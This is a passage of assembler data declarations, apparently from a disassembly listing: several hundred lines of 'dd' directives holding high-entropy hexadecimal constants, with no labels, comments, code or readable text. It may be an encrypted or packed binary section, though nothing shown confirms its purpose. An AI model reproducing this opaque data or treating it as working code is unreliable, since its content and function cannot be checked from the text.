4E7E15A9h, 0AF08FB1Eh, 0E4081C10h, 0EB5314B4h, 0A67EB3Ch dd 0A0354F5h, 2011EEF6h, 89078B00h, 0C033301Ch, 8A8F5B4Ah dd 99B1ECD6h, 55180DEEh, 42281C97h, 5907C93Ch, 4B1328F6h dd 262AED37h, 1F51BB32h, 0C82BAC8Ch, 9C8349F4h, 0B04E5008h dd 83C1A19Eh, 33EC300Ch, 0F1C88DC0h, 7328F0A3h, 55297AB5h dd 0CE1F01Fh, 7CF6ED4Ch, 0B9E0DE44h, 0F90E97F5h, 5C3FC30Ah dd 3D103D87h, 79D0617Eh, 5C1FE283h, 7480D13Fh, 0A8505A25h dd 0FF1CA29Ch, 12E45345h, 579115B8h, 8620A1A1h, 146A567Fh dd 755E123Eh, 28FF207h, 0C63B06EBh, 4E057D7Dh, 6A1A04A3h dd 0B270CC04h, 0F095597Eh, 2CA5DEDCh, 562630C1h, 1CA23589h dd 8121936h, 66CD1A6Ah, 0A732B435h, 0BF158B12h, 0FA491735h dd 3D45A120h, 0BB64D7E8h, 0D2330AEAh, 1C1D78B9h, 65F292C2h dd 92A1D977h, 0D297F00Eh, 39EB5DAh, 6271095Eh, 73304220h dd 7C55C4D8h, 0B13986D4h, 801287ECh, 0BCA81C3Dh, 0CFC00589h dd 0C35B6341h, 0EC4BE8F3h, 5B624ABEh, 0D3D84459h, 58AFB87Ch dd 0BAB44E71h, 0A018F2C7h, 0C711EB1Ch, 0D68D041Bh, 13823214h dd 9B50F72h, 19297D91h, 0E6F7A409h, 2D07BEB3h, 0F656B300h dd 574E80C1h, 895530AFh, 7422E85Dh, 3C67F09h, 0BEB10FFh dd 9B76580h, 709066DDh, 0A22EFBB8h, 89FC4ADDh, 15F14028h dd 83F80539h, 0FF62A44Bh, 20FA61E7h, 230F5E4Ah, 0EBC32BC6h dd 36497D2Dh, 742C3B15h, 0D81D4B89h, 0D166348Ch, 9023F48Eh dd 9105222h, 7A3403Ch, 0E4848012h, 0E50CFF16h, 0EA200A26h dd 0E9308118h, 39C4060Ah, 0F09989BBh, 0D64594EBh, 0CCAB793h dd 9D346E55h, 0BA2E038Fh, 448F070Ah, 0CA230204h, 17C8C6BFh dd 0AA357FC8h, 8FCB4F0Eh, 9CF4F2Ah, 0DF67D01Dh, 113C1969h dd 254B2D03h, 0D944FD6Eh, 90374889h, 2E8D0413h, 29F3E7BEh dd 57054732h, 1106261Ah, 54C6529Dh, 4B32AD0Eh, 4B8DBA97h dd 99BAA404h, 0FD122E88h, 851FD0EBh, 137C74C7h, 0D4E40D2Ah dd 14E24997h, 0F92A3825h, 40A81438h, 0CE811AB5h, 0F610A741h dd 50C449FEh, 0F70B2723h, 55085161h, 0A5B8215h, 0C41287Dh dd 2F8AC8A5h, 0B60BA24h, 0DF3BFFCFh, 0EF364B09h, 5FEB1844h dd 4124FB3Eh, 5EF7A2FEh, 0EFF46EC3h, 0E9EA08D4h, 0EFB09268h dd 71564E12h, 0EE1B7583h, 0AD30D9DFh, 8B7898D6h, 136D91C7h dd 45978DEFh, 966099Ch, 0A79197CAh, 62083908h, 5F59B9F8h dd 4E390143h, 0CCB0BF3h, 8874B001h, 770B5D45h, 0CBF31FA5h dd 2A508848h, 5C78752Dh, 0F6A838F8h, 4F0276F9h, 0FFEA826Eh dd 2576455Dh, 75841451h, 0FBE8810Eh, 74F7A492h, 3F67EBEEh dd 0B50A136Eh, 34FF4A3Ah, 0CF3AE53h, 0BF167513h, 221A2808h dd 413F80CAh, 9379B7BBh, 50EB1292h, 0BEE550B1h, 0D31AD5B2h dd 0AA543E12h, 0B681919h, 27676BC2h, 0A06108F4h, 615FFA07h dd 346A2058h, 0E74CE866h, 233F7CF4h, 0B4A10918h, 22759FABh dd 443E75CBh, 56A4A94Bh, 494F253Bh, 0C2E61434h, 0EBC6A0C2h dd 561C841Dh, 53C847ECh, 0CECD1811h, 58F30195h, 254445A3h dd 45B0064Ah, 55B951Ch, 0A39321B8h, 3450CA31h, 368B734Ah dd 4465C42Bh, 5D273994h dd 20326518h, 2D49E38Eh, 0B3208493h, 0CD188832h, 0AE17FF40h dd 1CE16374h, 12BA8144h, 0D27AF6C7h, 0DC8509EAh, 45CC51F7h dd 0BD8C840Ch, 0A84D781h, 0C5E81BDh, 0E0942904h, 68605652h dd 0A7ED563Ah, 25D725AFh, 0EE650861h, 658D04D0h, 0A297BFCCh dd 7265562Eh, 965DA0FDh, 222D8AE2h, 4B3E56EAh, 7C9F1B7Ah dd 0B8D32FEBh, 6612973Dh, 0EFA83853h, 77181C58h, 888F239h dd 8D365864h, 652909FFh, 0C2FF7678h, 504F99DDh, 0E124EA3Eh dd 0BED6F4BCh, 7188E961h, 6257923h, 0D5B3744h, 5DA26CA9h dd 2AA1E55Dh, 15D981B4h, 7C1CAA3Ah, 76F1CAA5h, 0E172AF6Ch dd 18D761B5h, 0C8F9A545h, 851D3914h, 0F13B1393h, 7F234F8h dd 62C6664Bh, 0E4014E38h, 45BFE114h, 0D3592D18h, 8AA14D8Ah dd 7E85984Ah, 64C0392Ah, 65332F7Ch, 0BF08AEC9h, 0C8AB34C4h dd 53B75636h, 22986881h, 9D75302Dh, 38057255h, 2B015E3Dh dd 0EB63A193h, 3EFC4584h, 0DC1650D9h, 0F933F8Fh, 0EBBFB4EBh dd 1CCCA29h, 40F980C0h, 0A156773h, 0F065020h, 0D324C2A5h dd 0D01B64E0h, 1FE1F98Ch, 7AEBE2E9h, 9CD27F10h, 0C20893D5h dd 3257566Ah, 0E6437514h, 7708F02Ch, 7526329Eh, 0E1FA2E12h dd 4EF22E0Dh, 3B068B81h, 9F2FF46h, 0DB1CAA5Dh, 0CD89400Fh dd 746058F6h, 0EFF3411h, 3442B830h, 88BB230Fh, 11A0C3D3h dd 93DF1888h, 24048979h, 0AC127DEFh, 0C65D3762h, 0A6E14EFAh dd 725627F5h, 95D19DA8h, 7B380204h, 0CFE41AEh, 9D23D0F7h dd 1473080Fh, 6F05FD0Bh, 29A80D39h, 843BE97Ch, 0ADF6ABBAh dd 17860837h, 0AF5035F7h, 30383E61h, 0A6BC3614h, 5B82554Bh dd 6A9E4057h, 12586510h, 0C6F6C404h, 17E70EB3h, 791011B8h dd 1122081h, 24D75609h, 12D1A07Ah, 4CBB70Fh, 0FFBED1E6h dd 54BF5A4Bh, 0BDD642FAh, 1F13AE51h, 867F37BFh, 8451114h dd 75D6DC40h, 3AC7E20Bh, 0C5BA07EBh, 0CC800300h, 5ECF2301h dd 3B260DB8h, 8D3720CDh, 4D20CDDAh, 5D5F6EC0h, 5510C7F6h dd 78A15A5Bh, 12564592h, 4223B97Bh, 0DF98D18Ah, 1104022h dd 0F58C638Ah, 0A2208D24h, 0A6BACB8Bh, 0BECA2188h, 71E31D97h dd 3B12A358h, 750FD1CEh, 7BF8A60Dh, 9D0A081Bh, 5B048623h dd 639ABC5Ah, 610C745Fh, 675514Fh, 841D2B0Bh, 505EC20Ah dd 8B838320h, 31104B24h, 20200469h, 244DBDAAh, 1EB3621Fh dd 0FD16E610h, 0CA2B1740h, 90FFE483h, 3D2FCFFh, 75B01485h dd 0FEE8461Ch, 111E7D03h, 33FC048Dh, 3D0E9638h, 2362C01Ch dd 0F0F7F27Ch, 16FB9D90h, 0D525F5A5h, 4FDA520h, 0A24D5E4Fh dd 0B36330B0h, 69591F2Eh, 580AA455h, 4F371299h, 43B74397h dd 1C784E27h, 0BBE5394Eh, 17014094h, 4EF42B7h, 0E7058575h dd 75FBF994h, 4A94E90Dh, 0BA645BF8h, 7FC8FA59h, 0CF01615Fh dd 4C995EC3h, 669DC8B4h, 691490EDh, 9758A5Eh, 9289D0C8h dd 0F22B0511h, 9CE8B5Ah, 5E0285BCh, 7FD44321h, 599639C1h dd 0E14FF3Dh, 0DFC90F57h, 4DFC39A7h, 16E614B9h, 2C0CFC2Ch dd 0F882C121h, 74C13B40h, 50FFA0A1h, 0A2829DC8h, 136355DAh dd 0A2844E58h, 3695D908h, 0BEC13854h, 1348930h, 134A0624h dd 0A85EF575h, 32CF954Bh, 0E65F02ABh, 6A4A9DABh, 410D2682h dd 5519F911h, 429AB25h, 0B0294CCEh, 0BC5B5A5Bh, 0A9992478h dd 129A5527h, 0D7FCCF09h, 0D8520C45h, 0A4C45EFEh, 2BE6072Eh dd 0F8D6C5DAh, 23C80A55h, 23B1DBCEh, 3EBD0BE8h, 18B9206Eh dd 74142ECBh, 0ACB15B4Eh, 0DC75EE11h, 6AF49883h, 0F7B35B02h dd 0C15908A8h, 3B0AE679h, 0C20F7CDFh, 29DFBBFh, 0D010041Fh dd 67EB69DBh, 875DBD89h, 0E9574BE6h, 7FE079E2h, 189270E5h dd 208BC9FBh, 0A7F48EAh, 4F30D94Ch, 71A53756h, 0C9006F9h dd 300237F4h, 2510B40Ch, 8E77E381h, 55EBC9E1h, 0F02795F1h dd 0FB24C386h, 0F9F7C001h, 0E0754029h, 5B33F415h, 3A7D4EF6h dd 0F85F5292h, 2429DAEFh, 0F587DC12h, 28D55A5Bh, 0BD12BE3Ch dd 0B7881A54h, 771539FEh, 35892208h, 25956475h, 78F04301h dd 4F2BE680h, 0F1984BB0h, 803F0C52h, 0D83B3CEBh, 2B3F247Fh dd 36FB2554h, 0C1191821h, 0A415613h, 4B4E033Bh, 6708866Bh dd 9434CD24h, 6F9820B2h, 82F54FF9h, 0BB287C1Fh, 0C622D53h dd 278EC75Ah, 14778B13h, 37D2735Dh, 362CA210h, 3C253FF7h dd 7FA86580h, 0F3032A22h, 0D6EA9524h, 9E0CC14Ah, 10487F38h dd 5CD5C94h, 0C91BD9F7h, 30415E89h, 0D7CAF10Bh, 40FF4540h dd 2ED2ED90h, 0F5F83649h, 0C72080Eh, 20240A6Fh, 0FE057522h dd 8B6C9131h, 55C2F868h, 36D99C75h, 2CEB903Bh, 7AD81021h dd 0D1BF254Ch, 2ABF2E26h, 0D54AF90Dh, 20A2441Ah, 3C5AEF14h dd 0C9243F81h, 3DB12D4Bh, 0FD4E0A12h, 38B7DE47h, 7B4AD7h dd 0C6017E54h, 85301F06h, 53C7DEDBh, 6B0FEB1Fh, 56EA3233h dd 250EFBD5h, 8241A8BEh, 10885A30h, 835E0DFh, 6FE96B75h dd 503108DEh, 39DC127Ch, 9F0DEA35h, 13BDBEC3h, 0E22E8DFh dd 1FFEF5EBh, 18313E0Ch, 4423EFFh, 0BD571213h, 79279E43h dd 0FA5E4B41h, 0A2E5671h, 509D5705h, 597F5D3Eh, 68E83790h dd 0B513B84Fh, 0E1160C3h, 0A5FC8B41h, 3978662Eh, 0A3367349h dd 507C2FE0h, 6F058718h, 0D8EC15BAh, 0EBFB5F0Bh, 592E1FEDh dd 0EDC70BDCh, 0BC0D99E4h, 1C42B809h, 236E7D5Eh, 661E5899h dd 0BF064282h, 9075F0FFh, 0CF254C4Fh, 0F182C189h, 24CBCF23h dd 12E62E78h, 0D95AD098h, 258B71E8h, 0CFA0B556h, 2F54F0B7h dd 1A621374h, 4B92887h, 269CFD3Ch, 0EB4EE9BFh, 748C4421h dd 0B7D37412h, 0E47588EAh, 0C666F8Eh, 4E4BEB26h, 33C0145h dd 0AE658A4Ch, 0B088315h, 4376C88Bh, 0E2FC84B0h, 3F56AF7h dd 95CECB20h, 3B15663h, 0C1DAD0C9h, 0B1FEB00h, 120C8DD9h dd 8140A089h, 7BEAB5C7h, 0DFEBB360h, 0B31139Ah, 8489ACFh dd 2F98C2Eh, 7D8A1A95h, 64B394Ch, 1421E5E6h, 49A70E90h dd 0A142975Eh, 0A5EAA9E8h, 0A3BC142Bh, 945B888h, 160421B1h dd 9D5E33F4h, 1C68CA01h, 2262794Fh, 18A35010h, 0D035F8C3h dd 0C8DA120Fh, 6D9158D0h, 0D9DE264Dh, 0F674B259h, 1C8D3870h dd 3CE96090h, 18A7739Fh, 0D90A6A89h, 16B13B08h, 7F064C0Fh dd 0A303F0C2h, 0BAA2B1CDh, 565B5D04h, 0F84CA620h, 0B60F85D0h dd 4C244CABh, 51978424h, 1C750911h, 0CF949EF8h, 8C020E12h dd 0D0824504h, 3E236F03h, 12F9B3F2h, 0BF80175h, 1098E296h dd 42C9BFECh, 0ABD52385h, 0D24FEDF7h, 51F56781h, 60680926h dd 52BDBDD2h, 2AA350BAh, 68503974h, 50781152h, 52A3083Ch dd 0EE7DF8F0h, 0A10FCFF4h, 16396092h, 52B7D0FFh, 0A1F2C547h dd 51121F4h, 0BB124453h, 416D0D9h, 4E155122h, 13B4A37Fh dd 0FCECF8EBh, 0AF0F08C2h, 0FE03A1FCh, 258957E0h, 34DD7716h dd 9476977Dh, 7D587789h, 1A5B3D6Eh, 80050046h, 2E77121Dh dd 97CAEF50h, 164C7513h, 1A9BD20Dh, 91D4D15Dh, 0A3F8C312h dd 21228DFFh, 865413Fh, 0E156F92Eh, 0ED2E2475h, 5B1B88CBh dd 8BBA19DBh, 47D5D7CAh, 0A177A550h, 0ECEB5644h, 58F5B152h dd 94035056h, 0D1FBB75Eh, 2FF04410h, 0C4A340F6h, 95900DB2h dd 0D8BE3BAAh, 0BC470A4Fh, 177C1405h, 34CA245Fh, 911519B0h dd 83590F0Dh, 0FE2DDC24h, 0FABCE5C8h, 85B85A73h, 4BE8E7AFh dd 40F12AAh, 0FB1D3B03h, 841507CCh, 0E10ADB9Dh, 0E6C844F6h dd 0F911D37Ch, 0DB7F175Ah dd 5F08278Eh, 0FC901364h, 2AB21887h, 0EE7A2BD6h, 7EFC2B54h dd 31C86F4Bh, 0F0C1F58Dh, 0D6D5ED2Fh, 4E124AAh, 0EE784D33h dd 980CA722h, 28F83B93h, 52A4027Dh, 5F772A50h, 0F26FAC53h dd 184AA108h, 54F6D7EBh, 750541FDh, 0DAA22E0Ah, 0C478C5D2h dd 0AB4E252Fh, 7D40EF04h, 1143CBACh, 6019241h, 0BF75AA30h dd 422337Ch, 1A23509Dh, 8F61BDEh, 2943E3D5h, 49451548h dd 0E4A5CD51h, 83E81ADh, 0E050D04Bh, 0DEB275Fh, 1227C04Dh dd 2FC9FC40h, 0C065D954h, 3B3219C0h, 0E8727ECAh, 58735ACEh dd 5E1033FDh, 0DE0A892Fh, 0BD7CE597h, 2D373986h, 0A4103A36h dd 0ECBF17BFh, 0FF5462ADh, 7E149630h, 8462803h, 0E977EE17h dd 0E2DC184Ah, 984E0EEFh, 0BCCF56D6h, 3CFC1330h, 0F603CE0Bh dd 34D68257h, 0C1C6E23Fh, 0FDFAF1A6h, 0F3D77107h, 0EAEB0470h dd 7EE1D1E9h, 2E1CC68Dh, 0B236DF50h, 617FF25Eh, 3A83E66Ch dd 89CE0BE9h, 37081D3Eh, 0EAE519E7h, 0DC56C9C6h, 5EADFF40h dd 0C2E999FEh, 6C84D5D8h, 9C2BF33h, 20D27856h, 8939404Eh dd 4531813h, 25760806h, 0C57E5751h, 7D8DF381h, 0FCC7A5F0h dd 7743E6A4h, 7706AA80h, 940A3BA8h, 52931022h, 4F98AB42h dd 80BE6D0Fh, 5B210A3Ch, 3CC81AFAh, 752C407Fh, 5FC8C6B6h dd 28F0AC39h, 5864D2B7h, 100A4CC1h, 13A84389h, 0EE98F003h dd 0ED5F43BFh, 0A294D213h, 0FFD1811Fh, 3FE7330h, 0BE4ED3EBh dd 29F310C9h, 32661064h, 0F92AFF3Dh, 0E266B738h, 805C5EB7h dd 0E412B40Ah, 0FF23BF5Ch, 0A4EE2D10h, 0DCC04F89h, 71955AC0h dd 0F9E8120Ch, 908B414Fh, 0E020DC06h, 81D0D440h, 7F802E4h dd 2A5EFDECh, 672087F4h, 54090B74h, 20FD1C0Ah, 290D5C05h dd 0E7EB4700h, 8A5E046Ah, 26B1F58h, 870F0BF8h, 825F5677h dd 59438524h, 0FB803460h, 0C7C3118h, 587F390Ah, 0DE5CB107h dd 653A471Ch, 1E6C797Eh, 724F8405h, 2B815DA8h, 0C7481E74h dd 44770EA2h, 79D46CC1h, 0D52F4535h, 0D837E16Ah, 2558CE48h dd 67D6A7EBh, 681220B6h, 6A29F9Eh, 0A5057CF0h, 4BAE7E29h dd 613DD2Dh, 318A2266h, 402D750Ah, 52F4302Ch, 140F4380h dd 1802898Eh, 127E4508h, 7B1C6319h, 8FF2650Ch, 6A137262h dd 4F7EA706h, 8500B85h, 0B20988A6h, 0B5D0564Ch, 596D588Ch dd 94019D19h, 8B0101B5h, 44558CC2h, 3239FDF9h, 7E3F8415h dd 0B450957h, 0EA4D7CC8h, 0EB5A0442h, 648FBB0Eh, 41C1FD5Eh dd 0D5C02FD6h, 82107319h, 80DEE857h, 0C306FEBh, 213BA33h dd 2A5508A9h, 0B27B7FDh, 2245672Ch, 365BDC5Bh, 0DC1B06BFh dd 0ACEF0D75h, 284A01D4h, 107571F3h, 0D311C81Ch, 47E88B68h dd 2350B912h, 990A21D4h, 1601122Dh, 834529EFh, 2AED345Eh dd 0C9AAD761h, 0A3012FE8h, 0FE4F8D57h, 0A3488C22h, 44248C56h dd 2131EEC8h, 120B964h, 0EB086A0Ch, 0A4E0B265h, 830552CDh dd 0F67F630h, 0AF91F28Ch, 8F316CA8h, 0AEB13E9h, 0E7C298Ch dd 9397F21h, 4F58126Ah, 311D0A34h, 54C1EB8Bh, 2A748D94h dd 0FFDA9BB5h, 6BDB7EBBh, 0C45DC014h, 0FD834A4Ah, 58071548h dd 1E08472Fh, 80664F0Ah, 95A5D03Ah, 0D2634695h, 11DF5824h dd 53971A48h, 0F633099Ch, 641F1D7Dh, 8088FB1Ch, 0BE6E7B6h dd 1451065Fh, 0C37F537Ah, 51B5BE38h, 5E10AA19h, 3844EA4Ah dd 0B04F5FD0h, 2B95F936h, 7E190C84h, 0D9A4A138h, 58186A10h dd 0A83948h, 7D801576h, 3D7C05BBh, 9FF6FE03h, 0F4267C64h dd 0EB9F2148h, 128813F4h, 0A586350Fh, 0C288A155h, 0CBD0E655h dd 0E47DF237h, 0C6A44B5Dh, 0E598F12Fh, 0E456DB61h, 953BC933h dd 7D150FB5h, 3D8F7E3h, 0E0144865h, 40109586h, 2B81DC18h dd 0A43D1CE0h, 307E2DC2h, 0DF041AD7h, 4AD7E4A9h, 0C9EED0FAh dd 6500D4C8h, 0B8DB3360h, 12AD11B6h, 0D473C233h, 98E4275Ch dd 0B03D5E1Dh, 0C456F22Fh, 2701D020h, 0EA2AE48Dh, 0C302E463h dd 0C87A790Eh, 0C610C292h, 0EBFBCA31h, 0E172A5B5h, 96BDF640h dd 320AAB2Bh, 15110493h, 2922B22Bh, 8768170Fh, 0B084D61h dd 1C5FE360h, 0CB067189h, 9A830259h, 922E0A41h, 1197A2ECh dd 550CA144h, 91219BEh, 22DC12B2h, 0AE045637h, 2E88E448h dd 220D1157h, 487C4492h, 0C538D68Ah, 0DEF4E545h, 54BEC802h dd 0E6E44BC8h, 660EB890h, 0B257C985h, 8CC230Ch, 12E689E5h dd 48E824E7h, 22EA91E9h, 0EDEC44EBh, 80FBEE88h, 7BB53FEFh dd 0BFD092F0h, 243EE00h, 0D204EB2Dh, 0CC8A00Dh, 75D298C2h dd 4EB3781Eh, 0E5E6E11Ah, 2383F815h, 81946E1h, 26010320h dd 846D3004h, 0E866FD4Bh, 0E97A2F25h, 0C7E880B2h, 0F8F38303h dd 0C75CF8F4h, 2BFCF70Fh, 2DFBB840h, 0BA028468h, 97A146EBh dd 3B811574h, 1DE10657h, 2E612207h, 1A437C68h, 2367210Fh dd 681D0C3Bh, 0D78D2374h, 6400E6B4h, 19BC05D1h, 0D60A6990h dd 0F11D6C68h, 0E1813006h, 94B70F24h, 22C0CF12h, 2D6918E9h dd 550F10C0h, 6608EE22h, 49859D7h, 804E0C8Dh, 6BFA555Eh dd 1F4DC93Bh, 0B44FF67Dh, 0BCEDE401h, 0C11246FDh, 4CEA8FEh dd 0C6BF0FF2h, 0E1FE3AC4h, 50DD59BCh, 7D8166D1h, 3FFFFA09h dd 0E4216072h, 1C19AC46h, 5359EE4Dh, 1570CF6h, 745C3390h dd 147D1967h, 7C3C036Dh, 91087F15h, 23EA4919h, 7A15F183h dd 5FD1F7B1h, 0FA758641h, 3FADC27Eh, 0DEEAFB0Dh, 81C08AEh dd 438946A1h, 1CCA8080h, 97F17559h, 0F717FC80h, 0E64881DEh dd 0D7E8504h, 4EAE1D61h, 0AF33696h, 0A8DA01F3h, 1C9A8022h dd 0FA50587Eh, 759C143Eh, 1C12E4F0h, 0ED2568A5h, 33A45038h dd 62CD0809h, 16B9220Dh, 8BFBE48Ah, 53FFCAD2h, 444C228h dd 7F90A50h, 75018880h, 3685B5B6h, 2E62878Ah, 35F98060h dd 4014B8Dh, 0C13B307Ch, 482A0F72h, 488406E6h, 42EAF1EBh dd 0FF66404Dh, 2A808EC3h, 88EC2CC3h, 8B05490h, 6480C005h dd 0CAAE0418h, 0C6164FBh, 177C3009h, 0D95BF499h, 82DC0436h dd 5638030h, 5B857257h, 0CB67EED3h, 32D8C776h, 46095974h dd 41E16977h, 3CF20303h, 0F2A0A84h, 2E18ED06h, 50AFF36Fh dd 8B162F5Ah, 95C20435h, 0EB0583B8h, 841A7034h, 812708E1h dd 10D60908h, 8791571Ah, 708B3306h, 41CEFF70h, 38880BEFh dd 5A0BFFCh, 1FE8313h, 9A9A38F9h, 7DF7BED8h, 18538FA8h dd 95F93B50h, 0B10F774h, 1B49BE97h, 4580D61Dh, 34061C25h dd 3AC2AF36h, 0A5A97515h, 8C64C0D4h, 8260B52h, 0D001377h dd 0C0A12839h, 0C4D6602Bh, 41F90DD3h, 8D1E7D02h, 32764014h dd 5095983Ah, 0C0228325h, 490CC206h, 78BFF775h, 4B205085h dd 0FB659D0Eh, 0E84D612h, 0DE7783E8h, 1878A9EFh, 89080A13h dd 2F7F7BAAh, 29A36AE9h, 5B48AF20h, 0FBA64E56h, 16714CC8h dd 3905830Ah, 0F4902750h, 1468FC5Bh, 2FFD5127h, 730BBFE7h dd 0CE39735Ah, 8A0D54A8h, 0D32B084Ch, 0CBCF3E9Dh, 256D2744h dd 0A768E009h, 8005751Fh, 0DEB7FE1h, 16D67C81h, 0DFD95FAEh dd 0ADC9DC11h, 0A8818E8h, 76256638h, 3C5034Ah, 0EBB13CECh dd 0B4EF6D0Ah, 24254CF3h, 667E6CEEh, 8B0A4B28h, 0EC1604B4h dd 0CBE4419Ch, 0DA824626h, 92E4BAF9h, 23F8330Eh, 81CA42C2h dd 667E83E7h, 4624503Dh, 1D6B9201h, 0F5B8830Fh, 32BAAC21h dd 18AD167Fh, 0BF7BFDFAh, 3DA28723h, 0A9773F17h, 303A2E60h dd 28AEC3Ah, 528BB77Fh, 565AFB58h, 392CE318h, 750F9046h dd 0B7067B0Bh, 0E84F7A68h dd 4AAA20D2h, 101F1EF7h, 39160C53h, 0EA113A43h, 0BF5DB803h dd 4FBBA9D1h, 950F445h, 98456AB2h, 0C1A816Fh, 128B1305h dd 0BEC00320h, 497E9281h, 12C2EA44h, 0E0135D08h, 0AF4D64F7h dd 189B64A8h, 1CC6124Eh, 31097606h, 0FC18C1AFh, 5198D783h dd 315EFF50h, 0B2068638h, 1A4B9D19h, 1D02563Ah, 662CF46Dh dd 0C875E806h, 12FC6D1Ah, 0C1894B0h, 9C7F0A59h, 20B9281h dd 0C80B92C0h, 0B8257ED5h, 80E72841h, 3E5CB7C5h, 8A3312Dh dd 7F1E110Dh, 390748E2h, 0E8B16A6h, 68E32B9Ah, 1921E50h dd 0B98B0ACEh, 74E1DC7Ch, 0EC2B4468h, 4BAE0B41h, 4EEA3086h dd 0F8C9EC5Fh, 0BAB738ACh, 3477F2F0h, 0B83E8B0Fh, 3DE07FFDh dd 750A1AD8h, 0DE42CB35h, 8C2CB9D4h, 0E9AA513Bh, 1D1490E2h dd 579AE176h, 418A46E6h, 0EC8BD31h, 1052D27Bh, 106ECAB1h dd 0E2EAF4DBh, 0DE35A7D2h, 0A745338Bh, 5BE81B73h, 0C70B2E7Dh dd 100E1AF6h, 24E3B83h, 6AE40C20h, 18D91E06h, 0DFF736EBh dd 0D2B5FFE8h, 0EBD7A28Eh, 62C7B3F4h, 26836408h, 87E44C0h dd 0C0EE79BDh, 0D828BB53h, 0ECFFEE9Ah, 394860EBh, 63740B16h dd 0BB45E87Dh, 28D96B88h, 55F5AF55h, 84102E17h, 0CEFF7120h dd 56412281h, 0C3831057h, 0A404B554h, 7CBC203h, 279802F7h dd 819AE98Dh, 0C2A63D71h, 85DC3A14h, 0F47D1A7Eh, 648402A5h dd 5E61ECF6h, 9FD95695h, 0E47FC8B7h, 92E2BFC3h, 6E91BFD6h dd 1E31F18Bh, 0B230525h, 1674FA4Eh, 0CE8BFC91h, 0C9121AB8h dd 0C2E8F0B3h, 56696990h, 4E27404Ch, 6C7120Ch, 0D5BC490h dd 2F407719h, 5E55F3F4h, 4E9BE864h, 0B8097CADh, 62D27688h dd 50DD50D8h, 687E95BAh, 74F8D28h, 515F0688h, 7404459h dd 0A36AE2B8h, 40221C3Bh, 0BC16751h, 0DD56A7F0h, 95C70741h dd 0A53AC12h, 0ACDD5402h, 85DD44ADh, 51020468h, 1C68D6B0h dd 8DAFA045h, 0C968106Ch, 51426A9Dh, 0C71E1D68h, 0D59130E8h dd 0F4B8BA05h, 6C0C7565h, 1BF3EA30h, 37B06850h, 22AD84CCh dd 6EA790A7h, 2039CF45h, 19FE08C4h, 3B801068h, 3F64F645h dd 20875524h, 0FFF5C127h, 54EBA754h, 7F72324h, 0E2D2FAC8h dd 0E8376B06h, 18B8F0CCh, 1A9448AEh, 906CF167h, 5184A4F0h dd 0C7D03E1Ah, 4257570Ch, 0F1D5FC9h, 7C775208h, 0F295CC42h dd 18242BD0h, 82115A56h, 27520A2Ah, 8D6D888h, 0B868D051h dd 233AEBE8h, 8D2E2ACCh, 0D3C23F5Ch, 0CA5183CCh, 8A1BE47Ah dd 0BE3DF868h, 1ED164C9h, 0B868DEA0h, 6882E18Dh, 0FF061B10h dd 20721025h, 71A40CC5h, 3C4CE9A3h, 0C750A0Bh, 707F189Ah dd 768398FBh, 0CF7EE105h, 895316F0h, 10C43921h, 0EE90346Ah dd 0B54D18E0h, 0B742F22h, 72959F50h, 6A589559h, 6317036Bh dd 0F5BFF48Eh, 2A0EBFC1h, 831F09DAh, 0F00009FBh, 0C3800576h dd 0A42D857h, 19038830h, 77F68541h, 8021FBDAh, 0E4178A49h dd 0E411FE01h, 0B47F207h, 0F272F93Bh, 76F95B2Bh, 3C755341h dd 0D77FFC3Ah, 7819FB0Eh, 62775A86h, 72410D09h, 20C3B4C0h dd 870224CBh, 250D5A3Fh, 22C241D9h, 0D15720C0h, 74DB079Bh dd 0D83B5337h, 30EBCEA8h, 5526129Dh, 58C31B7Ah, 95504606h dd 0E3C1F122h, 71A1FE4h, 34437947h, 40B15F59h, 0CDC3003h dd 0C8B70FF2h, 2B12C306h, 0D9AB5BC1h, 2A1ED575h, 0A34BCFB7h dd 3BD14E74h, 0DD3A560Bh, 0B1347A2Fh, 2BEC1982h, 76241D6h dd 3B595D51h, 54C24AA4h, 1C211D90h, 1C21F426h, 3D19FF7Ah dd 0F4FB20F1h, 0A537FF88h, 0A5C9057Eh, 0C789BF59h, 420A8103h dd 0C78B822Eh, 48644D0Bh, 0A93D80D0h, 5C96866Fh, 74276E9Ah dd 17DA4225h, 31131A48h, 6EB4930h, 31745EDFh, 79834A30h dd 80F19A08h, 15097446h, 0A20471FFh, 0EFF4C38Bh, 0FC62A52Ch dd 457F297Ch, 80571617h, 7D10BE02h, 0E0E8549Ah, 0B2A5F325h dd 0C12477E1h, 0CE32BAF4h, 0BEE004E4h, 0B8A554CDh, 51C619DDh dd 32DAFB28h, 0C00B7A81h, 648A2BC9h, 64CA1124h, 4CD68C52h dd 34DBD092h, 73018016h, 21579514h, 6F58026Ch, 679217Eh dd 347BB366h, 0E2FA846Ah, 0B10C6FBFh, 3E1AE15Fh, 5684C8F3h dd 201C0836h, 4743229h, 145DFE0Dh, 0E77D5B42h, 39F6E08Eh dd 0C0102135h, 9085F13Fh, 565784BFh, 9ED1068h, 8ED948ADh dd 0C461579Eh, 0D4103389h, 23347572h, 213E3F58h, 0F80110C0h dd 58208C44h, 3A01EB2Dh, 1E751201h, 1202E8DAh, 5B36DD31h dd 0C657E995h, 5B0AFE91h, 2ABB8E85h, 0EBE40984h, 0E44B740Ch dd 4A5FB9F6h, 0EFAEEB86h, 905DAC2Bh, 0E8E03F51h, 845C571Ch dd 24B653D3h, 0B234F8D6h, 4B84F58Bh, 0A2B0AED4h, 33F1B795h dd 0FB4976CBh, 8EF6789Ch, 74DE73C0h, 0A5535760h, 29F64B56h dd 12DFD9ADh, 2C81ED1Ch, 502FCCC6h, 9AAC9F0Dh, 0F99F1857h dd 0F2245B8h, 4EA1CBDh, 69DB2D95h, 39BE92B5h, 1498043Ch dd 6662F795h, 17DF02EBh, 73DBADF5h, 0A4BA0FC4h, 0C3B709E8h dd 5DBE9D74h, 9D0FA875h, 8B2B1A61h, 7CF8D145h, 0F051C478h dd 748008CAh, 4908A234h, 25711090h, 0D132B3Ch, 0D388AE7Ch dd 23EB2641h, 5EFC478Ch, 21AED311h, 6BC15817h, 8696F7E8h dd 3CD8E95Ch, 0D70C4D66h, 112BA08h, 8F488B28h, 6A14A1E2h dd 0FE04D526h, 0CD3ABEC7h, 4A705788h, 144D8C01h, 0BC17C96Ah dd 5A18F964h, 1D217443h, 5A187D08h, 9034E8Dh, 230D272Eh dd 7FFB2D18h, 0F678662Dh, 7166997Dh, 0FA8444D4h, 0F75B778Bh dd 6DD4C8F5h, 4BD6BD82h, 0A42E89FAh, 52BE55CAh, 0C322E469h dd 2556787h, 236448Dh, 0EBC25965h, 9E3CF50Bh, 558184BDh dd 97C734C8h, 0C0BFB5ECh, 733C8D4Dh, 